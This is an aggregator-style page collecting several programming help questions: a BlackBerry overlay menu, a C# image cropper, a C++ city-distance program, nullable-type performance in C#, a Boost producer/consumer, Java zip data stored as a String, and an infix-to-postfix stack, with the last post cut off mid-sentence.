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  • Blackberry custom OVERLAY horizontal menu

    - by Dachmt
    Thanks to Max in this post, I made an horizontal menu. But now I'm trying to make an overlay menu, i I don't find how to do that... Let's see what i got first. So, I have a class MapScreen which display my map: public class MapScreen extends MenuScreen Then, I have in the same file the MenuScreen class like this that allows to display the horizontal menu when I press the MENU key: abstract class MenuScreen extends MainScreen { boolean mMenuEnabled = false; CyclicHFManager mMenuManager = null; public MenuScreen() { mMenuManager = new CyclicHFManager(); mMenuManager.setBorder(BorderFactory.createBevelBorder(new XYEdges(4, 0, 0, 0), new XYEdges(Color.DARKBLUE, 0, 0, 0), new XYEdges( Color.WHITE, 0, 0, 0))); mMenuManager.setBackground(BackgroundFactory .createLinearGradientBackground(Color.DARKBLUE, Color.DARKBLUE, Color.LIGHTBLUE, Color.LIGHTBLUE)); for (int i = 0; i < 10; i++) { Bitmap nBitmap = new Bitmap(60, 60); Graphics g = new Graphics(nBitmap); g.setColor(Color.DARKBLUE); g.fillRect(0, 0, 60, 60); g.setColor(Color.WHITE); g.drawRect(0, 0, 60, 60); Font f = g.getFont().derive(Font.BOLD, 40); g.setFont(f); String text = String.valueOf(i); g.drawText(text, (60 - f.getAdvance(text)) >> 1, (60 - f .getHeight()) >> 1); Bitmap fBitmap = new Bitmap(60, 60); g = new Graphics(fBitmap); g.setColor(Color.DARKBLUE); g.fillRect(0, 0, 60, 60); g.setColor(Color.GOLD); g.drawRect(0, 0, 60, 60); g.setFont(f); g.drawText(text, (60 - f.getAdvance(text)) >> 1, (60 - f .getHeight()) >> 1); BitmapButtonField button = new BitmapButtonField(nBitmap, fBitmap); button.setCookie(String.valueOf(i)); button.setPadding(new XYEdges(0, 18, 0, 18)); button.setChangeListener(new FieldChangeListener() { public void fieldChanged(Field field, int context) { Dialog.inform("Button # " + (String) field.getCookie()); } }); mMenuManager.add(button); } } protected boolean keyDown(int keycode, int time) { if (Keypad.KEY_MENU == Keypad.key(keycode)) { if (mMenuManager.getManager() != null) { delete(mMenuManager); mMenuManager.mCyclicTurnedOn = false; } else { add(mMenuManager); mMenuManager.getField(2).setFocus(); mMenuManager.mCyclicTurnedOn = true; } return true; } else { return super.keyDown(keycode, time); } }} And finally my menu manager: public class CyclicHFManager extends HorizontalFieldManager { int mFocusedFieldIndex = 0; public boolean mCyclicTurnedOn = false; public void focusChangeNotify(int arg0) { super.focusChangeNotify(arg0); if (mCyclicTurnedOn) { int focusedFieldIndexNew = getFieldWithFocusIndex(); if (focusedFieldIndexNew != mFocusedFieldIndex) { if (focusedFieldIndexNew - mFocusedFieldIndex > 0) switchField(0, getFieldCount() - 1); else switchField(getFieldCount() - 1, 0); } } else { mFocusedFieldIndex = getFieldWithFocusIndex(); } } private void switchField(int prevIndex, int newIndex) { Field field = getField(prevIndex); delete(field); insert(field, newIndex); }} So as it is like this, it is working: when I press the MENU key, the menu appears, i can navigate between buttons, and it disappear when I press again the same key. The only problem is my menu isn't overlaying my map, it pushes the content up. I tried with the menu manager like in your first response, resizing the content manager but it is the same result. Max gave me the link http://stackoverflow.com/questions/1497073/blackberry-fields-layout-animation to do so, but I really don't know how to use it to make it work in my project... Thank you for your help! UPDATE This works great, it's what I wanted. However, I still have a problem because I'm under 4.5. So first in the MenuHostManager constructor, I deleted the USE_ALL_HEIGHT and change setPositionChild(mMenuManager, 0, Display.getHeight() - mMenuManager.getPreferredHeight()); like this to have the menu at the bottom of the screen. It worked. Then, instead of drawing my bitmaps, I did this: Bitmap nBitmap = EncodedImage.getEncodedImageResource("menu" + i + ".png").getBitmap(); BitmapButtonField button = new BitmapButtonField(nBitmap, nBitmap); And it worked too (no rollover for now, later). So it is great! I also overwrite the Paint method of my CyclicHFManager to have a background color, because I can't use the BorderFactory and BackgroundFactory... My menu bar has a color for now so it's ok. Then, because of these 2 classes missing, in my BitmapButtonField I had to delete the 2 setBorder functions that change the borders. And now i have my buttons pretty big like normal buttons with borders... How can I make the same effect as the setBorder functions under 4.5? (BTW, setBorder is not working under 4.5 too...). Thank you!

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  • Please help me correct the small bugs in this image editor

    - by Alex
    Hi, I'm working on a website that will sell hand made jewelry and I'm finishing the image editor, but it's not behaving quite right. Basically, the user uploads an image which will be saved as a source and then it will be resized to fit the user's screen and saved as a temp. The user will then go to a screen that will allow them to crop the image and then save it to it's final versions. All of that works fine, except, the final versions have 3 bugs. First is some black horizontal line on the very bottom of the image. Second is an outline of sorts that follows the edges. I thought it was because I was reducing the quality, but even at 100% it still shows up... And lastly, I've noticed that the cropped image is always a couple of pixels lower than what I'm specifying... Anyway, I'm hoping someone whose got experience in editing images with C# can maybe take a look at the code and see where I might be going off the right path. Oh, by the way, this in an ASP.NET MVC application. Here's the code: using System; using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; using System.IO; using System.Linq; using System.Web; namespace Website.Models.Providers { public class ImageProvider { private readonly ProductProvider ProductProvider = null; private readonly EncoderParameters HighQualityEncoder = new EncoderParameters(); private readonly ImageCodecInfo JpegCodecInfo = ImageCodecInfo.GetImageEncoders().Single( c => (c.MimeType == "image/jpeg")); private readonly string Path = HttpContext.Current.Server.MapPath("~/Resources/Images/Products"); private readonly short[][] Dimensions = new short[3][] { new short[2] { 640, 480 }, new short[2] { 240, 0 }, new short[2] { 80, 60 } }; ////////////////////////////////////////////////////////// // Constructor ////////////////////////////////////////// ////////////////////////////////////////////////////////// public ImageProvider( ProductProvider ProductProvider) { this.ProductProvider = ProductProvider; HighQualityEncoder.Param[0] = new EncoderParameter(Encoder.Quality, 100L); } ////////////////////////////////////////////////////////// // Crop ////////////////////////////////////////////// ////////////////////////////////////////////////////////// public void Crop( string FileName, Image Image, Crop Crop) { using (Bitmap Source = new Bitmap(Image)) { using (Bitmap Target = new Bitmap(Crop.Width, Crop.Height)) { using (Graphics Graphics = Graphics.FromImage(Target)) { Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; Graphics.SmoothingMode = SmoothingMode.HighQuality; Graphics.PixelOffsetMode = PixelOffsetMode.HighQuality; Graphics.CompositingQuality = CompositingQuality.HighQuality; Graphics.DrawImage(Source, new Rectangle(0, 0, Target.Width, Target.Height), new Rectangle(Crop.Left, Crop.Top, Crop.Width, Crop.Height), GraphicsUnit.Pixel); }; Target.Save(FileName, JpegCodecInfo, HighQualityEncoder); }; }; } ////////////////////////////////////////////////////////// // Crop & Resize ////////////////////////////////////// ////////////////////////////////////////////////////////// public void CropAndResize( Product Product, Crop Crop) { using (Image Source = Image.FromFile(String.Format("{0}/{1}.source", Path, Product.ProductId))) { using (Image Temp = Image.FromFile(String.Format("{0}/{1}.temp", Path, Product.ProductId))) { float Percent = ((float)Source.Width / (float)Temp.Width); short Width = (short)(Temp.Width * Percent); short Height = (short)(Temp.Height * Percent); Crop.Height = (short)(Crop.Height * Percent); Crop.Left = (short)(Crop.Left * Percent); Crop.Top = (short)(Crop.Top * Percent); Crop.Width = (short)(Crop.Width * Percent); Img Img = new Img(); this.ProductProvider.AddImageAndSave(Product, Img); this.Crop(String.Format("{0}/{1}.cropped", Path, Img.ImageId), Source, Crop); using (Image Cropped = Image.FromFile(String.Format("{0}/{1}.cropped", Path, Img.ImageId))) { this.Resize(this.Dimensions[0], String.Format("{0}/{1}-L.jpg", Path, Img.ImageId), Cropped, HighQualityEncoder); this.Resize(this.Dimensions[1], String.Format("{0}/{1}-T.jpg", Path, Img.ImageId), Cropped, HighQualityEncoder); this.Resize(this.Dimensions[2], String.Format("{0}/{1}-S.jpg", Path, Img.ImageId), Cropped, HighQualityEncoder); }; }; }; this.Purge(Product); } ////////////////////////////////////////////////////////// // Queue ////////////////////////////////////////////// ////////////////////////////////////////////////////////// public void QueueFor( Product Product, HttpPostedFileBase PostedFile) { using (Image Image = Image.FromStream(PostedFile.InputStream)) { this.Resize(new short[2] { 1152, 0 }, String.Format("{0}/{1}.temp", Path, Product.ProductId), Image, HighQualityEncoder); }; PostedFile.SaveAs(String.Format("{0}/{1}.source", Path, Product.ProductId)); } ////////////////////////////////////////////////////////// // Purge ////////////////////////////////////////////// ////////////////////////////////////////////////////////// private void Purge( Product Product) { string Source = String.Format("{0}/{1}.source", Path, Product.ProductId); string Temp = String.Format("{0}/{1}.temp", Path, Product.ProductId); if (File.Exists(Source)) { File.Delete(Source); }; if (File.Exists(Temp)) { File.Delete(Temp); }; foreach (Img Img in Product.Imgs) { string Cropped = String.Format("{0}/{1}.cropped", Path, Img.ImageId); if (File.Exists(Cropped)) { File.Delete(Cropped); }; }; } ////////////////////////////////////////////////////////// // Resize ////////////////////////////////////////////// ////////////////////////////////////////////////////////// public void Resize( short[] Dimensions, string FileName, Image Image, EncoderParameters EncoderParameters) { if (Dimensions[1] == 0) { Dimensions[1] = (short)(Image.Height / ((float)Image.Width / (float)Dimensions[0])); }; using (Bitmap Bitmap = new Bitmap(Dimensions[0], Dimensions[1])) { using (Graphics Graphics = Graphics.FromImage(Bitmap)) { Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic; Graphics.SmoothingMode = SmoothingMode.HighQuality; Graphics.PixelOffsetMode = PixelOffsetMode.HighQuality; Graphics.CompositingQuality = CompositingQuality.HighQuality; Graphics.DrawImage(Image, 0, 0, Dimensions[0], Dimensions[1]); }; Bitmap.Save(FileName, JpegCodecInfo, EncoderParameters); }; } } } Here's one of the images this produces:

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  • User Input That Involves A ' ' Causes A Substring Out Of Range Error

    - by Greenhouse Gases
    Hi Stackoverflow people. You have already helped me quite a bit but near the end of writing this program I have somewhat of a bug. You see in order to read in city names with a space in from a text file I use a '/' that is then replaced by the program for a ' ' (and when the serializer runs the opposite happens for next time the program is run). The problem is when a user inputs a name too add, search for, or delete that contains a space, for instance 'New York' I get a Debug Assertion Error with a substring out of range expression. I have a feeling it's to do with my correctCase function, or setElementsNull that looks at the string until it experiences a null element in the array, however ' ' is not null so I'm not sure how to fix this and I'm going a bit insane. Any help would be much appreciated. Here is my code: // U08221.cpp : main project file. #include "stdafx.h" #include <_iostream> #include <_string> #include <_fstream> #include <_cmath> using namespace std; class locationNode { public: string nodeCityName; double nodeLati; double nodeLongi; locationNode* Next; locationNode(string nameOf, double lat, double lon) { this->nodeCityName = nameOf; this->nodeLati = lat; this->nodeLongi = lon; this->Next = NULL; } locationNode() // NULL constructor { } void swapProps(locationNode *node2) { locationNode place; place.nodeCityName = this->nodeCityName; place.nodeLati = this->nodeLati; place.nodeLongi = this->nodeLongi; this->nodeCityName = node2->nodeCityName; this->nodeLati = node2->nodeLati; this->nodeLongi = node2->nodeLongi; node2->nodeCityName = place.nodeCityName; node2->nodeLati = place.nodeLati; node2->nodeLongi = place.nodeLongi; } void modify(string name) { this->nodeCityName = name; } void modify(double latlon, int mod) { switch(mod) { case 2: this->nodeLati = latlon; break; case 3: this->nodeLongi = latlon; break; } } void correctCase() // Correct upper and lower case letters of input { int MAX_SIZE = 35; int firstLetVal = this->nodeCityName[0], letVal; int n = 1; // variable for name index from second letter onwards if((this->nodeCityName[0] >90) && (this->nodeCityName[0] < 123)) // First letter is lower case { firstLetVal = firstLetVal - 32; // Capitalise first letter this->nodeCityName[0] = firstLetVal; } while(this->nodeCityName[n] != NULL) { if((this->nodeCityName[n] >= 65) && (this->nodeCityName[n] <= 90)) { if(this->nodeCityName[n - 1] != 32) { letVal = this->nodeCityName[n] + 32; this->nodeCityName[n] = letVal; } } n++; } } }; Here is the main part of the program: // U08221.cpp : main project file. #include "stdafx.h" #include "Locations2.h" #include <_iostream> #include <_string> #include <_fstream> #include <_cmath> using namespace std; #define pi 3.14159265358979323846264338327950288 #define radius 6371 #define gig 1073741824 //size of a gigabyte in bytes int n = 0,x, locationCount = 0, MAX_SIZE = 35 , g = 0, i = 0, modKey = 0, xx; string cityNameInput, alter; char targetCity[35], skipKey = ' '; double lat1, lon1, lat2, lon2, dist, dummy, modVal, result; bool acceptedInput = false, match = false, nodeExists = false;// note: addLocation(), set to true to enable user input as opposed to txt file locationNode *temp, *temp2, *example, *seek, *bridge, *start_ptr = NULL; class Menu { int junction; public: /* Convert decimal degrees to radians */ public: void setElementsNull(char cityParam[]) { int y=0; while(cityParam[y] != NULL) { y++; } while(y < MAX_SIZE) { cityParam[y] = NULL; y++; } } void correctCase(string name) // Correct upper and lower case letters of input { int MAX_SIZE = 35; int firstLetVal = name[0], letVal; int n = 1; // variable for name index from second letter onwards if((name[0] >90) && (name[0] < 123)) // First letter is lower case { firstLetVal = firstLetVal - 32; // Capitalise first letter name[0] = firstLetVal; } while(name[n] != NULL) { if((name[n] >= 65) && (name[n] <= 90)) { letVal = name[n] + 32; name[n] = letVal; } n++; } for(n = 0; targetCity[n] != NULL; n++) { targetCity[n] = name[n]; } } bool nodeExistTest(char targetCity[]) // see if entry is present in the database { match = false; seek = start_ptr; int letters = 0, letters2 = 0, x = 0, y = 0; while(targetCity[y] != NULL) { letters2++; y++; } while(x <= locationCount) // locationCount is number of entries currently in list { y=0, letters = 0; while(seek->nodeCityName[y] != NULL) // count letters in the current name { letters++; y++; } if(letters == letters2) // same amount of letters in the name { y = 0; while(y <= letters) // compare each letter against one another { if(targetCity[y] == seek->nodeCityName[y]) { match = true; y++; } else { match = false; y = letters + 1; // no match, terminate comparison } } } if(match) { x = locationCount + 1; //found match so terminate loop } else{ if(seek->Next != NULL) { bridge = seek; seek = seek->Next; x++; } else { x = locationCount + 1; // end of list so terminate loop } } } return match; } double deg2rad(double deg) { return (deg * pi / 180); } /* Convert radians to decimal degrees */ double rad2deg(double rad) { return (rad * 180 / pi); } /* Do the calculation */ double distance(double lat1, double lon1, double lat2, double lon2, double dist) { dist = sin(deg2rad(lat1)) * sin(deg2rad(lat2)) + cos(deg2rad(lat1)) * cos(deg2rad(lat2)) * cos(deg2rad(lon1 - lon2)); dist = acos(dist); dist = rad2deg(dist); dist = (radius * pi * dist) / 180; return dist; } void serialise() { // Serialize to format that can be written to text file fstream outfile; outfile.open("locations.txt",ios::out); temp = start_ptr; do { for(xx = 0; temp->nodeCityName[xx] != NULL; xx++) { if(temp->nodeCityName[xx] == 32) { temp->nodeCityName[xx] = 47; } } outfile << endl << temp->nodeCityName<< " "; outfile<<temp->nodeLati<< " "; outfile<<temp->nodeLongi; temp = temp->Next; }while(temp != NULL); outfile.close(); } void sortList() // do this { int changes = 1; locationNode *node1, *node2; while(changes > 0) // while changes are still being made to the list execute { node1 = start_ptr; node2 = node1->Next; changes = 0; do { xx = 1; if(node1->nodeCityName[0] > node2->nodeCityName[0]) //compare first letter of name with next in list { node1->swapProps(node2); // should come after the next in the list changes++; } else if(node1->nodeCityName[0] == node2->nodeCityName[0]) // if same first letter { while(node1->nodeCityName[xx] == node2->nodeCityName[xx]) // check next letter of name { if((node1->nodeCityName[xx + 1] != NULL) && (node2->nodeCityName[xx + 1] != NULL)) // check next letter until not the same { xx++; } else break; } if(node1->nodeCityName[xx] > node2->nodeCityName[xx]) { node1->swapProps(node2); // should come after the next in the list changes++; } } node1 = node2; node2 = node2->Next; // move to next pair in list } while(node2 != NULL); } } void initialise() { cout << "Populating List..."; ifstream inputFile; inputFile.open ("locations.txt", ios::in); char inputName[35] = " "; double inputLati = 0, inputLongi = 0; //temp = new locationNode(inputName, inputLati, inputLongi); do { inputFile.get(inputName, 35, ' '); inputFile >> inputLati; inputFile >> inputLongi; if(inputName[0] == 10 || 13) //remove linefeed from input { for(int i = 0; inputName[i] != NULL; i++) { inputName[i] = inputName[i + 1]; } } for(xx = 0; inputName[xx] != NULL; xx++) { if(inputName[xx] == 47) // if it is a '/' { inputName[xx] = 32; // replace it for a space } } temp = new locationNode(inputName, inputLati, inputLongi); if(start_ptr == NULL){ // if list is currently empty, start_ptr will point to this node start_ptr = temp; } else { temp2 = start_ptr; // We know this is not NULL - list not empty! while (temp2->Next != NULL) { temp2 = temp2->Next; // Move to next link in chain until reach end of list } temp2->Next = temp; } ++locationCount; // increment counter for number of records in list } while(!inputFile.eof()); cout << "Successful!" << endl << "List contains: " << locationCount << " entries" << endl; inputFile.close(); cout << endl << "*******************************************************************" << endl << "DISTANCE CALCULATOR v2.0\tAuthors: Darius Hodaei, Joe Clifton" << endl; } void menuInput() { char menuChoice = ' '; while(menuChoice != 'Q') { // Menu if(skipKey != 'X') // This is set by case 'S' below if a searched term does not exist but wants to be added { cout << endl << "*******************************************************************" << endl; cout << "Please enter a choice for the menu..." << endl << endl; cout << "(P) To print out the list" << endl << "(O) To order the list alphabetically" << endl << "(A) To add a location" << endl << "(D) To delete a record" << endl << "(C) To calculate distance between two points" << endl << "(S) To search for a location in the list" << endl << "(M) To check memory usage" << endl << "(U) To update a record" << endl << "(Q) To quit" << endl; cout << endl << "*******************************************************************" << endl; cin >> menuChoice; if(menuChoice >= 97) { menuChoice = menuChoice - 32; // Turn the lower case letter into an upper case letter } } skipKey = ' '; //Reset skipKey so that it does not skip the menu switch(menuChoice) { case 'P': temp = start_ptr; // set temp to the start of the list do { if (temp == NULL) { cout << "You have reached the end of the database" << endl; } else { // Display details for what temp points to at that stage cout << "Location : " << temp->nodeCityName << endl; cout << "Latitude : " << temp->nodeLati << endl; cout << "Longitude : " << temp->nodeLongi << endl; cout << endl; // Move on to next locationNode if one exists temp = temp->Next; } } while (temp != NULL); break; case 'O': { sortList(); // pass by reference??? cout << "List reordered alphabetically" << endl; } break; case 'A': char cityName[35]; double lati, longi; cout << endl << "Enter the name of the location: "; cin >> cityName; for(xx = 0; cityName[xx] != NULL; xx++) { if(cityName[xx] == 47) // if it is a '/' { cityName[xx] = 32; // replace it for a space } } if(!nodeExistTest(cityName)) { cout << endl << "Please enter the latitude value for this location: "; cin >> lati; cout << endl << "Please enter the longitude value for this location: "; cin >> longi; cout << endl; temp = new locationNode(cityName, lati, longi); temp->correctCase(); //start_ptr allignment if(start_ptr == NULL){ // if list is currently empty, start_ptr will point to this node start_ptr = temp; } else { temp2 = start_ptr; // We know this is not NULL - list not empty! while (temp2->Next != NULL) { temp2 = temp2->Next; // Move to next link in chain until reach end of list } temp2->Next = temp; } ++locationCount; // increment counter for number of records in list cout << "Location sucessfully added to the database! There are " << locationCount << " location(s) stored" << endl; } else { cout << "Node is already present in the list and so cannot be added again" << endl; } break; case 'D': { junction = 0; locationNode *place; cout << "Enter the name of the city you wish to remove" << endl; cin >> targetCity; setElementsNull(targetCity); correctCase(targetCity); for(xx = 0; targetCity[xx] != NULL; xx++) { if(targetCity[xx] == 47) { targetCity[xx] = 32; } } if(nodeExistTest(targetCity)) //if this node does exist { if(seek == start_ptr) // if it is the first in the list { junction = 1; } if(seek->Next == NULL) // if it is last in the list { junction = 2; } switch(junction) // will alter list accordingly dependant on where the searched for link is { case 1: start_ptr = start_ptr->Next; delete seek; --locationCount; break; case 2: place = seek; seek = bridge; seek->Next = NULL; delete place; --locationCount; break; default: bridge->Next = seek->Next; delete seek; --locationCount; break; } cout << endl << "Link deleted. There are now " << locationCount << " locations." << endl; } else { cout << "That entry does not currently exist" << endl << endl << endl; } } break; case 'C': { char city1[35], city2[35]; cout << "Enter the first city name" << endl; cin >> city1; setElementsNull(city1); correctCase(targetCity); if(nodeExistTest(city1)) { lat1 = seek->nodeLati; lon1 = seek->nodeLongi; cout << "Lati = " << seek->nodeLati << endl << "Longi = " << seek->nodeLongi << endl << endl; } cout << "Enter the second city name" << endl; cin >> city2; setElementsNull(city2); correctCase(targetCity); if(nodeExistTest(city2)) { lat2 = seek->nodeLati; lon2 = seek->nodeLongi; cout << "Lati = " << seek->nodeLati << endl << "Longi = " << seek->nodeLongi << endl << endl; } result = distance (lat1, lon1, lat2, lon2, dist); cout << "The distance between these two locations is " << result << " kilometres." << endl; } break; case 'S': { char choice; cout << "Enter search term..." << endl; cin >> targetCity; setElementsNull(targetCity); correctCase(targetCity); if(nodeExistTest(targetCity)) { cout << "Latitude: " << seek->nodeLati << endl << "Longitude: " << seek->nodeLongi << endl; } else { cout << "Sorry, that city is not currently present in the list." << endl << "Would you like to add this city now Y/N?" << endl; cin >> choice; /*while(choice != ('Y' || 'N')) { cout << "Please enter a valid choice..." << endl; cin >> choice; }*/ switch(choice) { case 'Y': skipKey = 'X'; menuChoice = 'A'; break; case 'N': break; default : cout << "Invalid choice" << endl; break; } } break; } case 'M': { cout << "Locations currently stored: " << locationCount << endl << "Memory used for this: " << (sizeof(start_ptr) * locationCount) << " bytes" << endl << endl << "You can store " << ((gig - (sizeof(start_ptr) * locationCount)) / sizeof(start_ptr)) << " more locations" << endl ; break; } case 'U': { cout << "Enter the name of the Location you would like to update: "; cin >> targetCity; setElementsNull(targetCity); correctCase(targetCity); if(nodeExistTest(targetCity)) { cout << "Select (1) to alter City Name, (2) to alter Longitude, (3) to alter Latitude" << endl; cin >> modKey; switch(modKey) { case 1: cout << "Enter the new name: "; cin >> alter; cout << endl; seek->modify(alter); break; case 2: cout << "Enter the new latitude: "; cin >> modVal; cout << endl; seek->modify(modVal, modKey); break; case 3: cout << "Enter the new longitude: "; cin >> modVal; cout << endl; seek->modify(modVal, modKey); break; default: break; } } else cout << "Location not found" << endl; break; } } } } }; int main(array<System::String ^> ^args) { Menu mm; //mm.initialise(); mm.menuInput(); mm.serialise(); }

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  • Performance surprise with "as" and nullable types

    - by Jon Skeet
    I'm just revising chapter 4 of C# in Depth which deals with nullable types, and I'm adding a section about using the "as" operator, which allows you to write: object o = ...; int? x = o as int?; if (x.HasValue) { ... // Use x.Value in here } I thought this was really neat, and that it could improve performance over the C# 1 equivalent, using "is" followed by a cast - after all, this way we only need to ask for dynamic type checking once, and then a simple value check. This appears not to be the case, however. I've included a sample test app below, which basically sums all the integers within an object array - but the array contains a lot of null references and string references as well as boxed integers. The benchmark measures the code you'd have to use in C# 1, the code using the "as" operator, and just for kicks a LINQ solution. To my astonishment, the C# 1 code is 20 times faster in this case - and even the LINQ code (which I'd have expected to be slower, given the iterators involved) beats the "as" code. Is the .NET implementation of isinst for nullable types just really slow? Is it the additional unbox.any that causes the problem? Is there another explanation for this? At the moment it feels like I'm going to have to include a warning against using this in performance sensitive situations... Results: Cast: 10000000 : 121 As: 10000000 : 2211 LINQ: 10000000 : 2143 Code: using System; using System.Diagnostics; using System.Linq; class Test { const int Size = 30000000; static void Main() { object[] values = new object[Size]; for (int i = 0; i < Size - 2; i += 3) { values[i] = null; values[i+1] = ""; values[i+2] = 1; } FindSumWithCast(values); FindSumWithAs(values); FindSumWithLinq(values); } static void FindSumWithCast(object[] values) { Stopwatch sw = Stopwatch.StartNew(); int sum = 0; foreach (object o in values) { if (o is int) { int x = (int) o; sum += x; } } sw.Stop(); Console.WriteLine("Cast: {0} : {1}", sum, (long) sw.ElapsedMilliseconds); } static void FindSumWithAs(object[] values) { Stopwatch sw = Stopwatch.StartNew(); int sum = 0; foreach (object o in values) { int? x = o as int?; if (x.HasValue) { sum += x.Value; } } sw.Stop(); Console.WriteLine("As: {0} : {1}", sum, (long) sw.ElapsedMilliseconds); } static void FindSumWithLinq(object[] values) { Stopwatch sw = Stopwatch.StartNew(); int sum = values.OfType<int>().Sum(); sw.Stop(); Console.WriteLine("LINQ: {0} : {1}", sum, (long) sw.ElapsedMilliseconds); } }

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  • [C++] Producer/Consumer Implementation -- Feedback Wanted

    - by bobber205
    I'm preparing for an interview in a few weeks and I thougth I would give threads in boost a go, as well as do the simple producer/consumer problem I learned in school. Haven't done it quite awhile so I was curious what you guys think of this? What should I add to make it a better example etc. Thanks for the feedback! :) ////////////////////////////////////////////////////////////////////////// boost::mutex bufferMutex; deque<int> buffer; const int maxBufferSize = 5; ////////////////////////////////////////////////////////////////////////// bool AddToBuffer(int i) { if (buffer.size() < maxBufferSize) { buffer.push_back(i); return true; } else { return false; } } bool GetFromBuffer(int& toReturn) { if (buffer.size() == 0) { return false; } else { toReturn = buffer[buffer.size()-1]; buffer.pop_back(); return true; } } struct Producer { int ID; void operator()() { while (true) { boost::mutex::scoped_lock lock(bufferMutex); int num = dice(); bool result = AddToBuffer(num); lock.unlock(); //safe area done if (result) { cout << "Producer " << this->ID << " Added " << num << endl; } else { cout << "!!Buffer was Full!!" << endl; } //Added //Now wait boost::xtime xt; xtime_get( &xt, boost::TIME_UTC); xt.nsec += 1000000 + 100000 * (rand() % 1000); boost::thread::sleep(xt); } } }; struct Consumer { int ID; void operator()() { while (true) { int returnedInt = 0; boost::mutex::scoped_lock lock(bufferMutex); bool result = GetFromBuffer(returnedInt); lock.unlock(); //safe area done if (result) { cout << "\tConsumer " << this->ID << " Took Out " << returnedInt << endl; } else { cout << "!!Buffer was Empty!!" << endl; } //Added //Now wait boost::xtime xt; xtime_get( &xt, boost::TIME_UTC); xt.nsec += 1000000 + 100000 * (rand() % 1000); boost::thread::sleep(xt); } } }; void main() { Producer p, p2; Consumer c, c2; p.ID = 1; p2.ID = 2; c.ID = 1; c2.ID = 2; boost::thread thread1(boost::ref(p)); boost::thread thread2(boost::ref(c)); boost::thread thread3(boost::ref(p2)); boost::thread thread4(boost::ref(c2)); int x; cin >> x; }

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  • java: how to compress data into a String and uncompress data from the String

    - by Guillaume
    I want to put some compressed data into a remote repository. To put data on this repository I can only use a method that take the name of the resource and its content as a String. (like data.txt + "hello world"). The repository is moking a filesystem but is not, so I can not use File directly. I want to be able to do the following: client send to server a file 'data.txt' server compress 'data.txt' into data.zip server send to repository content of data.zip repository store data.zip client download from repository data.zip and his able to open it with its favorite zip tool I have tried a lots of compressing example found on the web but each time a send the data to the repository, my resulting zip file is corrupted. Here is a sample class, using the zip*stream and that emulate the repository showcasing my problem. The created zip file is working, but after its 'serialization' it's get corrupted. (the sample class use jakarta commons.io ) Many thanks for your help. package zip; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream; import java.util.zip.ZipOutputStream; import org.apache.commons.io.FileUtils; /** * Date: May 19, 2010 - 6:13:07 PM * * @author Guillaume AME. */ public class ZipMe { public static void addOrUpdate(File zipFile, File ... files) throws IOException { File tempFile = File.createTempFile(zipFile.getName(), null); // delete it, otherwise you cannot rename your existing zip to it. tempFile.delete(); boolean renameOk = zipFile.renameTo(tempFile); if (!renameOk) { throw new RuntimeException("could not rename the file " + zipFile.getAbsolutePath() + " to " + tempFile.getAbsolutePath()); } byte[] buf = new byte[1024]; ZipInputStream zin = new ZipInputStream(new FileInputStream(tempFile)); ZipOutputStream out = new ZipOutputStream(new FileOutputStream(zipFile)); ZipEntry entry = zin.getNextEntry(); while (entry != null) { String name = entry.getName(); boolean notInFiles = true; for (File f : files) { if (f.getName().equals(name)) { notInFiles = false; break; } } if (notInFiles) { // Add ZIP entry to output stream. out.putNextEntry(new ZipEntry(name)); // Transfer bytes from the ZIP file to the output file int len; while ((len = zin.read(buf)) > 0) { out.write(buf, 0, len); } } entry = zin.getNextEntry(); } // Close the streams zin.close(); // Compress the files if (files != null) { for (File file : files) { InputStream in = new FileInputStream(file); // Add ZIP entry to output stream. out.putNextEntry(new ZipEntry(file.getName())); // Transfer bytes from the file to the ZIP file int len; while ((len = in.read(buf)) > 0) { out.write(buf, 0, len); } // Complete the entry out.closeEntry(); in.close(); } // Complete the ZIP file } tempFile.delete(); out.close(); } public static void main(String[] args) throws IOException { final String zipArchivePath = "c:/temp/archive.zip"; final String tempFilePath = "c:/temp/data.txt"; final String resultZipFile = "c:/temp/resultingArchive.zip"; File zipArchive = new File(zipArchivePath); FileUtils.touch(zipArchive); File tempFile = new File(tempFilePath); FileUtils.writeStringToFile(tempFile, "hello world"); addOrUpdate(zipArchive, tempFile); //archive.zip exists and contains a compressed data.txt that can be read using winrar //now simulate writing of the zip into a in memory cache String archiveText = FileUtils.readFileToString(zipArchive); FileUtils.writeStringToFile(new File(resultZipFile), archiveText); //resultingArchive.zip exists, contains a compressed data.txt, but it can not //be read using winrar: CRC failed in data.txt. The file is corrupt } }

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  • Creating my own Stack

    - by Malaken
    I am creating my own stack for my data structures class. For our assignment we are using the assignment to convert a real-time infix equation into a postfix equation. I thought my program: took input determines if it was digit or number(operand) prints it out determines if input is operator (+,-,/,*) adds to stack or prints out, depending on stack precedence Instead it prints out the operands as expect, but I get this error when I enter an operator .../dorun.sh line 33: 4136 Segmentation fault sh "$" [code] #include using namespace std; class DishWell{ public: char ReturnEnd(){ return Well.back(); } void Push(char x){ Well.push_back(x); } void Pop(){ Well.pop_back(); } bool IsEmpty(){ return Well.empty(); } private: vector<char> Well; }; #include <iostream> bool Precidence(char Input, char Stack){ int InputPrecidence,StackPrecidence; switch (Input){ case '*': InputPrecidence = 4; break; case '/': InputPrecidence = 4; break; case '+': InputPrecidence = 3; break; case '-': InputPrecidence = 3; break; case '(': InputPrecidence = 2; break; default: InputPrecidence = 0; } switch (Stack){ case '*': StackPrecidence = 4; break; case '/': StackPrecidence = 4; break; case '+': StackPrecidence = 3; break; case '-': StackPrecidence = 3; break; case '(': StackPrecidence = 2; break; default: StackPrecidence = 0; } if(InputPrecidence>StackPrecidence) return true; else return false; } int main(int argc, char** argv) { DishWell DishTray; char Input; bool InputFlag; InputFlag = true; while(InputFlag){ cin>>Input; if((((Input>='a'&&Input<='z')||(Input>='A'&&Input<='Z'))|| (Input>='0'&&Input<='9')))//If Digit or Number cout<<Input; if((Input=='*'||Input=='/'||Input=='+'||Input=='-')){//if operand if(Precidence(Input,DishTray.ReturnEnd())) DishTray.Push(Input); else if(!Precidence(Input,DishTray.ReturnEnd())) cout<<Input; } else if(!((((Input>='a'&&Input<='z')||(Input>='A'&&Input<='Z'))|| (Input>='0'&&Input<='9')))||((Input=='*'||Input=='/'||Input=='+'||Input=='-')))//if not digit/numer or operand InputFlag = false; } while(!DishTray.IsEmpty()){ cout<<DishTray.ReturnEnd(); DishTray.Pop(); } return 0; [code] My code is very length, I know, but I appreciate help. Especially 